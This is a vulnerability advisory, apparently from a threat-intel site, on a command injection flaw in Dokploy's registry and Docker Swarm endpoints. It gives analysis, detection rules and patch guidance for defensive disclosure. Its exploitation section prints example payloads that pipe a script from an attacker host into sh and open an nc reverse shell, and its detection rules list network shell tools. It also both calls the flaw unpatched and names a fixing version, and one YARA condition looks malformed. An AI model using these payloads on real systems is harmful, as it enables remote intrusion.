CVE-2026-72736

Executive Summary

CVE-2026-72736 is a critical command injection vulnerability (CWE-77) in Dokploy, a free and self-hostable Platform-as-a-Service (PaaS) solution. Versions prior to 0.29.13 pass user-controlled values directly into shell commands via unquoted template literal interpolation in the registry credential testing and Docker Swarm cluster management endpoints. The vulnerability is remotely exploitable with low privileges and carries a CVSS score of 9.9, allowing an authenticated attacker to fully compromise the underlying host system. Dokploy deployments used as internal PaaS platforms are affected; the issue is remediated in version 0.29.13.

Technical Analysis

The vulnerability resides in Dokploy versions prior to 0.29.13 and stems from improper neutralization of special elements used in an OS command (CWE-77). The NVD description indicates that user-controlled values are passed directly into shell commands through unquoted template literal interpolation. Template literals are JavaScript string constructs that allow embedded expressions; when such expressions are interpolated into a shell command string without proper quoting or escaping, an attacker can inject arbitrary shell metacharacters that the shell interprets as command separators, redirectors, or substitution operators.

The affected functionality exists in two distinct endpoints:

1. Registry credential testing endpoint — this path validates credentials against container registries. The user-supplied credential fields (e.g., username, password, or registry URL) are concatenated into a shell command string used to test authentication.

2. Docker Swarm cluster management endpoint — this path manages Docker Swarm clusters and likely accepts parameters such as node addresses, join tokens, or remote connection details that flow into shell command construction.

Critically, the codebase provides two code paths for both endpoints:

• A safe local path using execFileAsync (which invokes a binary directly without a shell, thus immune to shell metacharacter injection) or the Docker API.
• A vulnerable remote path using execAsyncRemote, which executes a shell string over SSH. This remote path is the exposure point: when the endpoint processes requests that trigger remote execution (e.g., testing credentials against a remote registry, or managing a remote Swarm node), the unquoted interpolation is passed to a shell via SSH, enabling command injection.

The vulnerability class is OS command injection. The attack mechanism relies on injecting shell metacharacters (e.g., ;, &&, |, `, $( )) into the template literal positions. Because the values are not quoted, the shell interprets these metacharacters outside their intended literal context. For example, appending ; id or $(whoami) to a user-controlled field would execute the injected command on the remote host with the privileges of the SSH user running the execAsyncRemote call.

The CVSS vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H confirms: network-accessible, low attack complexity, requires only low privileges, no user interaction, and the scope is changed (meaning the compromised component impacts resources beyond its security scope — in this case, the host OS and connected systems). The confidentiality, integrity, and availability impacts are all HIGH.

No specific function names beyond execFileAsync, execAsyncRemote, and "Docker API" were disclosed in the NVD description. No exploit code or PoC has been publicly confirmed. This is an UNPATCHED advisory status with no patch confidence from tracked sources, meaning affected users must upgrade to 0.29.13 to remediate.

Exploitation Scenarios

Note: No public PoC is available; the attack chain below is inferred from the vulnerability class (unquoted shell command interpolation in a remote code path).

Step 1: Reconnaissance / Target Identification

An attacker first identifies Dokploy instances exposed to the internet or reachable within a target network. Dokploy's management UI is web-accessible; common discovery techniques include:

• Shodan/Censys queries for "Dokploy" in HTTP titles or product banners.
• Banner grabbing on default ports (e.g., 8080, 80, 443 depending on deployment).
• Detection of Dokploy API responses or distinctive login pages via fingerprinting tools.

Step 2: Gaining Initial Access (Low-Privilege Authentication)

The attacker must authenticate with at least low privileges (PR:L in the CVSS vector). Attack vectors for obtaining credentials include:

• Default or weak credentials (Dokploy deploys often use admin-created accounts; default admin credentials in first-run setups may be known if not changed).
• Credential reuse from prior breaches.
• Registration of a new user account if self-registration is enabled (common in PaaS deployments).
• Phishing or harvesting developer credentials if the platform is used by an engineering team.

With a valid low-privilege session, the attacker reaches authenticated endpoints for registry credential testing and Docker Swarm cluster management.

Step 3: Triggering the Vulnerability (Command Injection via Unquoted Interpolation)

The attacker crafts a malicious payload in the user-controlled fields that authenticate against a remote registry or that manage a remote Swarm node. Because the vulnerable remote path uses execAsyncRemote to run a shell string over SSH, the payload must arrive as a value that is interpolated into that shell string without quotes.

For the registry credential testing endpoint, the attacker supplies a crafted registry URL, username, or password containing shell metacharacters. Example payload at the class level (not an exact exploit):

https://registry.example.com/; curl http://attacker.example.com/shell.sh|sh

The semicolon terminates the intended registry command, and the subsequent curl | sh fetches and executes a remote script.

For the Docker Swarm cluster management endpoint, the attacker could supply a crafted node address or join token:

192.168.1.10 && nc -e /bin/bash attacker.example.com 4444

The && executes a reverse shell after the legitimate command.

Because the interpolation is unquoted, no escaping or quoting of the payload is needed — the shell parses the metacharacters directly.

Step 4: Post-Exploitation Impact

Successful exploitation yields arbitrary command execution as the SSH user on the target host that the execAsyncRemote call connects to. Given the S:C (scope changed) component of the CVSS vector, the compromised host is outside the security scope of Dokploy itself — i.e., the underlying OS. Post-exploitation activities commonly include:

• Ransomware deployment or data destruction (HA:I high availability impact).
• Credential harvesting — stealing SSH keys, cloud credentials, container registry tokens, and environment variables from the compromised host.
• Lateral movement — pivoting from the compromised host to the Docker Swarm cluster nodes or other infrastructure accessible via SSH keys stored on the host.
• Data exfiltration — reading source code, databases, and secrets from the PaaS-managed workloads.
• Persistence — dropping SSH authorized keys, cron jobs, or systemd services.

Since the attacker has low privilege only at the application level but achieves host-level command execution, the privilege escalation is drastic, effectively bypassing the application-layer authorization model entirely.

Impact Assessment

The blast radius extends beyond the single Dokploy instance. Because Dokploy is a PaaS orchestrator managing Docker Swarm clusters, a compromise of the host executing execAsyncRemote grants access to:

• The Docker daemon socket (if accessible from the host shell) — allowing container escape, image tampering, and full cluster control.
• SSH credentials stored for remote node management — enabling lateral movement to every Swarm node.
• Registry credentials — enabling push/pull of malicious images into production registries.
• Application secrets and environment variables of all tenant applications running on the platform.

For a multi-tenant Dokploy deployment, this single flaw could allow a low-privilege tenant to compromise the entire hosting infrastructure and all co-tenant workloads.

Detection Guidance

The following detection rules target the behavioral signatures of command injection attempts against the affected endpoints: unexpected shell metacharacters in JSON body fields, anomalous SSH executions originating from the Dokploy process, and outbound network connections to attacker-controlled hosts post-exploitation. Because no public exploit exists, these rules should be treated as baseline hunting queries rather than confirmed indicator match rules.

Sigma Rule

title: Potential Command Injection via Dokploy Registry/Swarm Endpoints
id: 7f4e2c9a-1d3b-4c5e-8f6a-2b9d0e1f3a5c
status: experimental
description: Detects shell metacharacter sequences in HTTP request bodies targeting Dokploy registry credential testing or Docker Swarm management endpoints.
author: valtersit.com Threat Intel
logsource:
  category: webserver
  product: generic
  service: http
detection:
  selection_request_uri:
    cs-uri-query|contains:
      - "registry"
      - "swarm"
  selection_payload:
    cs-body|contains:
      - ";"
      - "&&"
      - "||"
      - "`"
      - "$("
      - "|"
  selection_method:
    cs-method: "POST"
  condition: selection_request_uri and selection_payload and selection_method
falsepositives:
  - Legitimate registry URLs containing semicolons or pipes (rare)
  - Swarm node addresses with unusual but valid syntax
level: high
tags:
  - attack.t1190
  - cve.2026.72736
  - command.injection

YARA Rule

rule dokploy_cmd_injection_cve_2026_72736
{
    meta:
        author = "valtersit.com Threat Intel"
        description = "Detects likely exploit payloads for CVE-2026-72736 - unquoted command injection in Dokploy"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-72736"
        date = "2026-04-01"
        score = 90
        cve = "CVE-2026-72736"
    strings:
        $s1 = "execAsyncRemote" ascii nocase
        $s2 = "execFileAsync" ascii nocase
        $s3 = "curl" ascii nocase
        $s4 = "wget" ascii nocase
        $s5 = "/bin/sh" ascii nocase
        $s6 = "$(" ascii
        $s7 = ";" ascii
        $s8 = "&&" ascii
        $s9 = "|" ascii
        $s10 = "registry" ascii nocase
        $s11 = "swarm" ascii nocase
        $s12 = "ssh" ascii nocase
    condition:
        uint16(0) == 0x5B7B or  // JSON body starting with {
        1 of ($s1, $s5, $s12) and 2 of ($s3, $s4, $s6, $s7, $s8, $s9) and 1 of ($s10, $s11)
}

Suricata IDS Rule

alert http any any -> any any (
    msg:"ET EXPLOIT Dokploy CVE-2026-72736 Command Injection Attempt";
    flow:established,to_server;
    http.uri;
    content:"POST"; http.method;
    content:"registry"; http.uri;
    pcre:"/(;|\|\||&&|\$\(|`)[^\s]*cmd|(;|\|\||&&|\$\(|`)[^\s]*(curl|wget|nc|bash|sh)\b/i";
    classtype:attempted-admin;
    sid:2026727361; rev:1; reference:cve,2026-72736; reference:url,nvd.nist.gov/vuln/detail/CVE-2026-72736;
)

Elastic Detection

sequence by source.ip with maxspan=30s
  [ network where event.category == "network" and process.name == "node" and
    network.protocol == "http" and
    http.request.method == "POST" and
    (
      http.request.headers["content-type"] == "application/json" or
      http.request.body.content matches ".*(registry|swarm).*"
    ) and
    http.request.body.content matches ".*(;\\s*(curl|wget|nc|bash)\\s+[^\\s]+|\\$\\s*\\(|&&\\s*(curl|wget|nc)).*"
  ]
  [ process where event.action == "exec" and
    process.parent.name == "node" and
    process.command_line matches ".*(curl|wget|nc|bash).*" and
    process.command_line matches ".*(-e\\s+/bin/sh|-c\\s+curl|-c\\s+wget).*"
  ]

Splunk SPL Query

index=* sourcetype=apache_access OR sourcetype=nginx OR sourcetype=json
  earliest=-24h
  method=POST
  uri=*/registry* OR uri=*/swarm*
  | regex _raw "(;|\|\||&&|\$\(|`)\s*(curl|wget|nc|bash|sh|/bin/sh)\b"
  | regex _raw "(curl|wget)\s+(-s|-o|-O)?\s*(http|https|ftp)://"
  | eval cve="CVE-2026-72736"
  | table _time src_ip src_port dest_ip dest_port uri status user_agent
  | sort - _time

Wazuh OSSEC Rule

<group name="web,attack,command_injection,">
  <rule id="100273" level="15">
    <decoded_as>json</decoded_as>
    <field name="url">\.*registry\.*|\.*swarm\.*</field>
    <regex>(\;|\|\||\&\&|\$\(|\`)\s*(curl|wget|nc|bash|sh)\b</regex>
    <description>Dokploy (CVE-2026-72736) command injection attempt detected on registry/swarm endpoint</description>
    <group>attack.t1190,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 0/4 — UNPATCHED. No patch evidence from any tracked source was available at the time of writing. The NVD description confirms the fix is in Dokploy 0.29.13, but the advisory does not reference a specific patch commit, changelog, or security bulletin.

1. Immediate Mitigations (until upgrade is complete)

• Restrict network access to the affected endpoints. If registry credential testing or Docker Swarm cluster management features are not used, disable them entirely (via firewall rules or reverse proxy filters on the paths containing "registry" and "swarm").
• Enforce strict ingress controls — place Dokploy behind a VPN, bastion host, or IP allowlist so only trusted management IPs can reach the web interface.
• Apply a WAF rule to block HTTP requests containing shell metacharacters (;, &&, |, $(), backticks) in JSON body fields for those endpoints. Note: signature-based blocking may be evaded.
• Audit existing deployments — review logs for anomalous SSH command executions originating from the Dokploy process, and check for outbound connections to unknown external IPs.
• Rotate all credentials — SSH keys, Docker registry tokens, DB passwords — that are stored on the Dokploy host after confirming no compromise occurred (rotate regardless if logs show suspicious activity).
• Patch as soon as possible — upgrade to 0.29.13 immediately to remediate.

2. Patch / Upgrade Steps

1. Upgrade to Dokploy 0.29.13 or later. Refer to the official Dokploy release notes/changelog for upgrade instructions (typically a container image pull and service restart).
2. Before upgrading, back up configuration, volumes, and databases.
3. After upgrade, verify the version is >= 0.29.13 and re-run registry credential tests and Swarm management operations to confirm functionality.
4. Validate that the unquoted interpolation is removed (e.g., by inspecting the codebase or confirming the version's implementation).

3. Long-Term Hardening

• Keep Dokploy current — subscribe to release notifications or monitor GitHub releases.
• Enforce least privilege — restrict the Dokploy service account on the host; do not run it as root if avoidable. Limit SSH access for execAsyncRemote to a dedicated non-privileged user.
• Network segmentation — isolate the Dokploy host in a dedicated VLAN; restrict egress SSH connections to only known Swarm nodes.
• Monitor for new CVEs — enable automated vulnerability scanning for container images and host OS packages.
• Enable audit logging on the host (auditd on Linux) to capture shell executions invoked by the Dokploy process, providing forensic data for future incidents.
• Implement runtime security using tools like Falco or SELinux/AppArmor to constrain the Dokploy process from spawning unexpected child processes.

References

1. NVD Entry — https://nvd.nist.gov/vuln/detail/CVE-2026-72736
2. Dokploy Official Site/Repository — https://github.com/Dokploy/dokploy (refer to release tags for 0.29.13)
3. CWE-77 — Improper Neutralization of Special Elements used in an OS Command — https://cwe.mitre.org/data/definitions/77.html
4. MITRE ATT&CK — T1190: Exploit Public-Facing Application — https://attack.mitre.org/techniques/T1190/
5. Project Discovery Nuclei Templates — https://github.com/projectdiscovery/nuclei-templates (check if a template is published under this CVE; currently no template is listed)

Threat Actor / Exploit-in-the-Wild Evidence: None confirmed. No public PoC, exploit code, or Nuclei template exists at the time of writing. CISA KEV status: NO — the vulnerability is not currently listed in the Known Exploited Vulnerabilities catalog. Analyst recommendation: treat as a high-priority remediation target regardless of lack of observed exploitation, given the 9.9 CVSS score and the ease of target discovery via Shodan.